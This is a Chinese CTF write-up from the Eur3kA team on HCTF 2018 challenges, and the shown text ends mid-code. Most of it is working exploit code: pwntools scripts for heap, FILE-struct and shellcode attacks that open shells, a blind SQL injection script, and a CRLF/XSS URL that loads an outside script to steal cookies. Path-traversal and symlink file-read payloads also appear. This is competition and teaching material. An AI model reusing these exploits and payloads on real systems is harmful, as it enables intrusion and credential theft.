我们是Eur3kA战队,也是联合战队r3kapig的r3ka,我们成立于HCTF 2017 Qual 前夕并夺得HCTF 2017 Qual冠军。这周末我们参与了HCTF 2018 Qual并成功卫冕。
我们战队长期招新,尤其是misc/crypto/web方向,我们非常期待新的大佬加入并一起冲击明年的DEFCON CTF。感兴趣的大佬请联系[email protected]

Pwn

Printf

给了binary的地址,又可以控制stdout, 为所欲为啊

  1. leak libc
  2. 利用file struct来任意地址写
from pwn import *

local=0
pc='./babyprintf_ver2'
remote_addr=['150.109.44.250',20005]
aslr=True
context.log_level=True

libc=ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

if local==1:
    #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
    p = process(pc,aslr=aslr)
    gdb.attach(p,'c')
else:
    p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))

if __name__ == '__main__':
    sla("token:","DN2WQ9iOvvAGyRxDC4KweQ2L9hAlhr6j")
    ru("location to ")
    codebase=int(rl().strip("\n"),16)-0x202010
    buf=codebase+0x202010
    lg("Code base",codebase)
    fake_stdout=p64(0xfbad2084)+p64(0)*8
    fake_stdout=fake_stdout.ljust(112,'\x00')
    fake_stdout+=p64(0x1)
    fake_stdout=fake_stdout.ljust(0x88,'\x00')
    fake_stdout+=p64(buf+0x300)
    fake_stdout=fake_stdout.ljust(216,'\x00')
    #fake_stdout+=p64(buf+0x20+224)
    fake_stdout+=cyclic(0x40)
    sl("A"*0x10+p64(buf+0x20)+'\x00'*0x8+fake_stdout)
    raw_input()
    #sl("A"*0x10+p64(buf+0x20)+'\x00'*0x8+p64(0xfbad2887)+p64(buf+0x200-0x10)*7+p64(buf+0x201-0x10)*1)
    sl("A"*0x10+p64(buf+0x20)+'\x00'*0x8+p64(0xfbad2887)+p64(0)*8)
    raw_input()
    off=0x2020b4
    sl("A"*0x10+p64(buf+0x20)+'\x00'*0x8+p64(0xfbad3c80)+p64(0)*3+p64(buf+0x30)+p64(buf+0x200))
    raw_input()
    libc_addr=u64(ru("caaadaaa")[-16:-8])
    libc.address=libc_addr-0x3e82a0
    malloc_hook=libc.symbols['__malloc_hook']
    print(hex(malloc_hook))
    lg("libc",libc_addr)
    sl("A"*0x10+p64(buf+0x20)+'\x00'*0x8+p64(0xfbad2887)+p64(0)*8)
    raw_input()
    p.clean()
    sl("A"*0x10+p64(buf+0x20)+'\x00'*0x8+p64(0xfbad3c80)+p64(0)*3+p64(libc.symbols['environ'])+p64(libc.symbols['environ']+0x8)[0:7])
    stack_addr=u64(rv(8))
    lg("stack addr",stack_addr)
    raw_input()
    fake_stdout=p64(0xfbad3c80)+p64(stack_addr-0x980)*7+p64(stack_addr-0x980+0x8)
    #fake_stdout=p64(0xfbad3c80)+p64(buf+0x20+0xd8)*7+p64(buf+0x20+0xd8+8)
    fake_stdout=fake_stdout.ljust(112,'\x00')
    fake_stdout+=p64(0x0)
    fake_stdout=fake_stdout.ljust(0x88,'\x00')
    fake_stdout+=p64(buf+0x300)+p64(0xffffffffffffffff)
    fake_stdout=fake_stdout.ljust(216,'\x00')
    #fake_stdout+=p64(buf+0x20+224)
    fake_stdout+=cyclic(0x100)
    sl("A"*0x10+p64(buf+0x20)+'\x00'*0x8+fake_stdout)
    print("Go")
    raw_input()
    sl(p64(libc.address+0x4f322))
    p.interactive()
    raw_input()
    fake_stdout=p64(0xfbad2084)+p64(0)*8
    fake_stdout=fake_stdout.ljust(112,'\x00')
    fake_stdout+=p64(0x1)
    fake_stdout=fake_stdout.ljust(0x88,'\x00')
    fake_stdout+=p64(buf+0x300)
    fake_stdout=fake_stdout.ljust(216,'\x00')
    sl("A"*0x10+p64(buf+0x20)+'\x00'*0x8+fake_stdout+cyclic(64)+p64(0xdeadbeef))
    p.interactive()

heap storm

知道了scanf可以触发malloc后,利用off by onesize改小加上malloc consolidate来构造overlap chunk,最后house of orange(写了半小时,脚本有点乱)

from pwn import *

local=0
pc='./heapstorm_zero'
remote_addr=['150.109.44.250',20001]
aslr=False
context.log_level=True

context.terminal=['tmux','split','-h']
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

if local==1:
    #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
    p = process(pc,aslr=aslr)
    gdb.attach(p,'c')
else:
    p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))

def choice(idx):
    sla("Choice:",str(idx))

def add(size,content):
    choice(1)
    sla(":",str(size))
    sa(":",content)

def view(idx):
    choice(2)
    sla(":",str(idx))

def free(idx):
    choice(3)
    sla(":",str(idx))

if __name__ == '__main__':
    sla("token:","DN2WQ9iOvvAGyRxDC4KweQ2L9hAlhr6j")
    add(0x18,"AAA\n")
    for i in range(24):
        add(0x38,"A"*8+str(i)+"\n")
    free(0)
    free(4)
    free(5)
    free(6)
    free(7)
    free(8)
    free(9)
    sla("Choice:","1"*0x500)
    add(0x38,"B"*0x30+p64(0x120))
    add(0x38,"C"*0x30+p32(0x40)+'\n')
    add(0x38,"P"*0x30+'\n')
    free(4)
    sla("Choice:","1"*0x500)
    free(10)
    sla("Choice:","1"*0x500)
    add(0x38,"DDD\n")
    add(0x38,"KKK\n")
    add(0x38,"EEE\n")
    view(5)
    ru("Content: ")
    libc_addr=raddr(6)-0x3c4b78
    libc.address=libc_addr
    lg("libc addr",libc_addr)
    add(0x38,"GGG\n")
    free(10)
    free(11)
    free(5)
    view(8)
    ru("Content: ")
    heap=raddr(6)-0x2a0
    lg("heap addr",heap)
    for i in range(6):
        free(23-i)
    fake_struct="/bin/sh\x00"+p64(0x61)+p64(0)+p64(heap+0x430)+p64(0)+p64(1)
    add(0x38,fake_struct+'\n')
    free(17)
    add(0x38,p64(0)+p64(0x31)+p64(0)+p64(libc.symbols['_IO_list_all']-0x10)+'\n')
    add(0x38,'\x00'*0x30+'\n')
    add(0x38,'\x00'*0x30+'\n')
    add(0x38,p64(0)*3+p64(heap+0x2b0)+'\n')
    add(0x38,p64(libc.symbols['system'])*6+'\n')
    add(0x38,p64(libc.symbols['system'])*6+'\n')
    add(0x38,p64(libc.symbols['system'])*6+'\n')
    add(0x38,p64(libc.symbols['system'])*6+'\n')
    add(0x28,"DDD\n")
    add(0x28,p64(0)+p64(0x41)+"\n")
    free(6)
    add(0x38,p64(0)*3+p64(0xa1)+p64(0)+p64(heap+0x470)+'\n')
    add(0x28,'aa'+'\n')
    p.interactive()

easyexp

用到了realpath的libc洞,往前改,改了下prev size和next chunk的size(00,所以prev not inuse),最后unlink,

#! /usr/bin/env python2
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright © 2018 anciety <anciety@anciety-pc>
#
# Distributed under terms of the MIT license.
import sys
import os
import os.path
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['lxterminal', '-e']

# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.rr = tube.recvregex
tube.irt = tube.interactive

if len(sys.argv) > 2:
    DEBUG = 0
    HOST = sys.argv[1]
    PORT = int(sys.argv[2])

    p = remote(HOST, PORT)
    p.ru('token:')
    p.sl('DN2WQ9iOvvAGyRxDC4KweQ2L9hAlhr6j')
else:
    DEBUG = 1
    if len(sys.argv) == 2:
        PATH = sys.argv[1]

    p = process(PATH, env={'LD_PRELOAD': './libc-2.23.so'})

def mkfile(p, name, content):
    p.ru('$ ')
    p.sl('mkfile %s' % name)
    p.ru('something:')
    p.sl(content)


def mkdir(p, path):
    p.ru('$ ')
    p.sl('mkdir %s' % path)


def cat(p, path):
    p.ru('$ ')
    p.sl('cat %s' % path)
    return p.rl().strip()


def main():
    # Your exploit script goes here
    p.ru('name: ')
    p.sl('(unreachable)')
    # leak libc
    mkfile(p, '(unreachable)/tmp', 'a' * (0x100 - 1) + '/')
    mkfile(p, 'buf%d' % 1, str(1) * 0xf0)
    mkfile(p, 'buf%d' % 2, str(2) * 0xf0)
    payload = p64(0) + p64(0x101) + p64(0x603180 - 0x18) + p64(0x603180 - 0x10)
    payload = payload.ljust(0xf0, '3')
    mkfile(p, 'buf%d' % 3, str(3) * 0xf0)
    libc_addr = u64(cat(p, '(unreachable)/tmp')[0x100:].strip('\x0a').ljust(8, '\x00'))
    libc_base = libc_addr - 0x3c5620
    mkfile(p, 'buf3', payload)

    p.info('libc base 0x%x' % libc_base)

    for i in range(8):
        payload = '../../' + 'x' * (8 - i)
        mkdir(p, payload)
    payload = '../../' + chr(0x10) + chr(0x1)
    mkdir(p, payload)
    mkdir(p, '../../')

    mkfile(p, 'test', 'test')
    mkfile(p, 'buf3', 'a' * 0x18 + p64(0x603060) + p32(0x100)[:3]) # opendir
    libc = ELF('./libc-2.23.so')
    system_addr = libc_base + libc.symbols['system']
    if DEBUG:
        gdb.attach(p.pid, gdbscript='b *0x401a64')
    mkfile(p, 'buf3', p64(system_addr))
    p.sl('ls /bin/sh')
    p.irt()

if __name__ == '__main__':
    main()

christmas

需要用alphanumeric的shellcode去调用dlopen的函数,比较麻烦,所幸找到了encoder:https://github.com/SkyLined/alpha3
encoder直接用不了(因为针对windows),改动一下之后,因为base addr的问题,加上42 (sxor rax, '2'),修正base,就可以用了。
剩下的asm就是直接dlopen -> dlsym(环境一样可以找到),不过由于没有输出,只能侧信道,通过死循环判断是否成功,二分法一下搞定。yix

#! /usr/bin/env python2
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright © 2018 anciety <anciety@anciety-pc>
#
# Distributed under terms of the MIT license.
import sys
import os
import os.path
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['lxterminal', '-e']

# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.rr = tube.recvregex
tube.irt = tube.interactive

if len(sys.argv) > 2:
    DEBUG = 0
    HOST = sys.argv[1]
    PORT = int(sys.argv[2])

    p = remote(HOST, PORT)
else:
    DEBUG = 1
    if len(sys.argv) == 2:
        PATH = sys.argv[1]

    p = process(PATH)

PAYLOAD = '''
mov eax, 0x66666866
sub eax, 0x66666066
add rsp, rax

mov eax, 0x10703078
sub eax, 0x10101010
mov r12, [rax]
mov eax, 0x101010E0
sub eax, 0x10101010
lea r13, [r12 + rax]

xor esi, esi
inc esi
push 0x6F732E67
mov rax, 0x616C6662696C2F2E
push rax
lea rdi, [rsp]
call r12

mov rdi, rax
mov rax, 0x101010474343416F
mov rdx, 0x1010101010101010
sub rax, rdx
push rax
mov rax, 0x7365795F67616C66
push rax
lea rsi, [rsp]
call r13

call rax

cmp byte ptr ds:[rax+{0}], {1}
die:
jg die
int3
'''


def get_shellcode(idx, ch):
    payload = PAYLOAD.format(hex(idx), hex(ord(ch)))
    shellcode = asm(payload)
    with process('python2 alpha3/ALPHA3.py x64 ascii mixedcase RAX'.split()) as alpha:
        alpha.s(shellcode)
        alpha.shutdown()
        encoded = alpha.r().strip()
        return encoded


def is_greater(idx, ch):
    with remote(HOST, PORT) as r:
    #with process('./christmas') as r:
        r.ru('token:')
        r.sl('DN2WQ9iOvvAGyRxDC4KweQ2L9hAlhr6j')
        r.ru('find it??\n')
        r.sl(get_shellcode(idx, ch))
        try:
            r.rl(timeout=1)
        except:
            print('%d th is not greater than %s' % (idx, ch))
            return False

        print('%d th is greater than %s' % (idx, ch))
        return True


def main():
    # Your exploit script goes here

    flag = ''

    for i in range(0x20):
        l = 0x10
        r = 0x7f
        while l < r:
            mid = (l + r) // 2
            if is_greater(i, chr(mid)):
                l = mid + 1
            else:
                r = mid
        flag += chr((l + r) // 2)
        print('get flag %d th: %s' % (i, flag[-1]))
        print('flag now %s' % flag)
    #print(is_greater(0, 'i'))


if __name__ == '__main__':
    main()

the_end

题目首先给了libc地址,然后就是任意5字节写。
首先利用1个字节将stdout的vtable移动到存在libc地址的位置。
然后利用3个字节将该位置的libc地址改成one_gadget的地址。
最后利用1个字节修改stdout+0x28过check,在exit之后调用。

#! /usr/bin/env python
# -*- coding: utf-8 -*-
import os
import sys
# https://github.com/matrix1001/welpwn
if os.path.exists('./welpwn') != True:
    print("Verify that welpwn is in the current directory")
    exit()
sys.path.insert(0,os.getcwd()+'/welpwn')
from PwnContext.core import *
if __name__ == '__main__':
    #context.terminal = ['tmux', 'splitw', '-h']

    #-----function for quick script-----#
    s       = lambda data               :ctx.send(str(data))        #in case that data is a int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    st      = lambda delim,data         :ctx.sendthen(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()

    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    leak    = lambda address, count=0   :ctx.leak(address, count)

    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))

    def to_write(addr,val):
        s(p64(addr))
        sleep(0.1)
        s(p8(val))

    debugg = 0
    logg = 0

    ctx.binary = './the_end'
    #ctx.remote_libc = '/vm_share/libc64.so'  # /glibc/2.24/lib/libc-2.24.so
    #ctx.debug_remote_libc = True # this is by default
    ctx.remote = ('150.109.46.159', 20002)

    #ctx.bases.libc
    #ctx.symbols = {'sym1':0x1234, 'sym2':0x5678}
    #ctx.breakpoints = [0x964]
    #ctx.debug()

    if debugg:
        rs()
    else:
        rs(method = 'remote')
        sla('token:','DN2WQ9iOvvAGyRxDC4KweQ2L9hAlhr6j')

    if logg:
        context.log_level = 'debug'

    ru('gift ')
    libc_base = int(ru(','),16) - 0xcc230
    log.success("libc_base = %s"%hex(libc_base))

    tls = libc_base + 0x5d5700
    log.success("tls = %s"%hex(tls))

    one = libc_base + 0xf02a4
    log.success("one = %s"%hex(one))
    vtable = libc_base + 0x3c56f8
    log.success("vtable = %s"%hex(vtable))
    io_stdout = libc_base + 0x3c5620
    log.success("io_stdout = %s"%hex(io_stdout))
    target = libc_base + 0x3c44e0 + 0x18
    log.success("target = %s"%hex(target))

    to_write(target,one&0xff)
    to_write(target+1,(one>>8)&0xff)
    to_write(target+2,(one>>16)&0xff)
    to_write(vtable+1,(target>>8)&0xff)
    to_write(io_stdout+0x28,0xff)

    irt()

Web

kzone

www.zip可以下载到web源码,然后阅读源码,发现include/member.php提取了$_COOKIE['login_data']用于登录验证

$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
    setcookie("islogin", "", time() - 604800);
    setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
    $islogin = 1;
} else {
    setcookie("islogin", "", time() - 604800);
    setcookie("login_data", "", time() - 604800);
}

这里密码判断用的是“==”可以用数字与字符串弱等于绕过,构造json串,其中密码从数字0开始爆破即可,爆破到65的时候成功登入。
login_data为

{"admin_user":"admin","admin_pass":65}

然后这里的username还可以注入,不过有waf拦截,因此需要绕过,需要注意的是or也被过滤了,因此information_schema不能用,所以需要用mysql.innodb_table_stats来查数据库名表名,发现F1444g表,不过不知道列名,这里用*发现就可以了,应该是只有一列,exp如下:

import requests

dic = list('1234567890abcdefghijklmnopqrstuvwxyz[]<>@!-~?=_()*{}#. /')
ans = ''
for pos in range(1,1000):
    flag = 1
    for c in dic:
        payload = "admin'and(strcmp(right((select/**/*/**/from/**/F1444g/**/limit/**/0,1),%d),'%s'))||'"%(pos,c+ans)
        cookies = {'islogin':'1','PHPSESSID':'olvurpb8sqldthvnetdd0elf65','login_data':'{"admin_user":"%s","admin_pass":65}'%payload}
        resp = requests.get("http://kzone.2018.hctf.io/include/common.php",cookies=cookies)
        if 'Set-Cookie' in resp.headers:
            ans = c+ans
            print(ord(c))
            flag=0
            break
    if flag:
        break
    print("--"+ans+"--")

admin

http://admin.2018.hctf.io/change的页面源码里发现提示

<!-- https://github.com/woadsl1234/hctf_flask/ -->

下载到源码,发现每次注册或者是登录的时候都会先将用户名转化成小写,另外修改密码的时候会取session['name']并转化为小写,然后根据转化后的用户名更改密码,调用的函数是:

def strlower(username):
    username = nodeprep.prepare(username)
    return username

网上搜索得知,这个函数在处理unicode字符时有一些问题,例如\u1d35即ᴵ,经过这个函数会变成大写字母I,然后再调用一下就会变成小写字母i,所以思路就明显了,注册一个admᴵn的账号,登录进去修改admin的密码,然后再登录即可

bottle

根据题目提示,搜到bottle的crlf注入,开始bot是挂的,所以一直打不到东西,后来bot好了就行了。直接crlf首先注入一个CSP头部覆盖调已有的,然后注入xss向量即可,中间还需要注一个content-type头部,不然xss向量不解析。网上找到p牛的文章中的exp改一下就行了,exp如下:

http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:0/%250aContent-Type:text/html%250aContent-Security-Policy:script-src%2520*%250a%250a%3Cscript/src=http://zzm.cat/1.js%3E%3C/script%3E

成功打到cookie

Warmup

有个文件读取,结合源码中的提示source.php,得到源码,然后复制了一段网上搜索源码,发现基本就和网上phpmyadmin的洞https://blog.csdn.net/nzjdsds/article/details/81260335是一样的,拿文章的payload一试即可:

http://warmup.2018.hctf.io/index.php?file=hint.php%253f/../../../../../../../../ffffllllaaaagggg

hide and seek

随便输个不是admin的用户名即可进后台,然后上传zip,后台会输出zip内的文件内容。试了下压缩软连接文件,可以读文件,/proc/self/environ,能读到uwsgi配置文件

UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgi
SUPERVISOR_GROUP_NAME=uwsgi
HOSTNAME=323a960bcc1a
SHLVL=0
PYTHON_PIP_VERSION=18.1
HOME=/root
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
NGINX_MAX_UPLOAD=0
UWSGI_PROCESSES=16
STATIC_URL=/static
UWSGI_CHEAPER=2
NGINX_VERSION=1.13.12-1~stretch
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NJS_VERSION=1.13.12.0.2.0-1~stretch
LANG=C.UTF-8
SUPERVISOR_ENABLED=1
PYTHON_VERSION=3.6.6
NGINX_WORKER_PROCESSES=auto
SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock
SUPERVISOR_PROCESS_NAME=uwsgi
LISTEN_PORT=80STATIC_INDEX=0
PWD=/app/hard_t0_guess_n9f5a95b5ku9fg
STATIC_PATH=/app/static
PYTHONPATH=/app
UWSGI_RELOADS=

发现web目录,
接着读/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
发现主文件/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
阅读源码:

# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']

    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path

       
       
       

    

Hacking more

...